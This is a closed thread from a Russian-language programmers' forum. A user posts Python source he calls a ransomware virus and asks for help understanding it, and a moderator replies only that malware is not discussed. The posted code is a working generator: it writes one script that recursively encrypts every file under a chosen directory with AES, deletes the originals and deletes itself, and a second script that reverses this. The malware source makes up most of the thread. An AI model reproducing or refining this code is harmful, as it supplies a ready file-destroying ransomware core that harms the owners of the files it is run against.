Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Скриптовые языки программирования > Python
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 17.09.2018, 09:03   #1
maxlxxx
Новичок
Джуниор
 
Регистрация: 20.03.2018
Сообщений: 1
По умолчанию Помогите разобраться с кодом вирус-шифровальщик

direct=input("Write the root directory: ")
password=input("Write the password: ")
print("---------------------------------------------------------------" )
with open("crypt.py","w") as crypt:
crypt.write('''
import os, sys
def crypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.encryptFile(str(file), str(file)+".crp", password, bufferSize)
print("[crypted] '"+str(file)+".crp'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path): crypt(path)
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------" )
os.remove(str(sys.argv[0]))''')
print("[+] File 'crypt.py' successfully saved!")
with open("key.py","w") as key:
key.write('''
import os, sys
def decrypt(file):
import pyAesCrypt
print("---------------------------------------------------------------" )
password="'''+str(password)+'''"
bufferSize = 512*1024
pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, bufferSize)
print("[decrypted] '"+str(os.path.splitext(file)[0])+"'")
os.remove(file)
def walk(dir):
for name in os.listdir(dir):
path = os.path.join(dir, name)
if os.path.isfile(path):
try: decrypt(path)
except: pass
else: walk(path)
walk("'''+str(direct)+'''")
print("---------------------------------------------------------------")
os.remove(str(sys.argv[0]))''')
print("[+] File 'key.py' successfully saved!")
print("---------------------------------------------------------------")
maxlxxx вне форума
Старый 17.09.2018, 09:05   #2
Аватар
Старожил
 
Аватар для Аватар
 
Регистрация: 17.11.2010
Сообщений: 19,042
По умолчанию

Зловреды не обсуждаются
Если бы архитекторы строили здания так, как программисты пишут программы, то первый залетевший дятел разрушил бы цивилизацию
Аватар вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Помогите разобраться с кодом Coolmem PHP 23 22.04.2015 15:07
Помогите разобраться с кодом! Astiya Помощь студентам 3 29.03.2015 15:33
Помогите разобраться с кодом Лера.К БД в Delphi 6 21.05.2014 16:36
Помогите разобраться с кодом Superlotles Общие вопросы Delphi 6 19.08.2009 22:24
помогите разобраться с кодом samosval Assembler - Ассемблер (FASM, MASM, WASM, NASM, GoASM, Gas, RosAsm, HLA) и не рекомендуем TASM 0 27.12.2007 00:20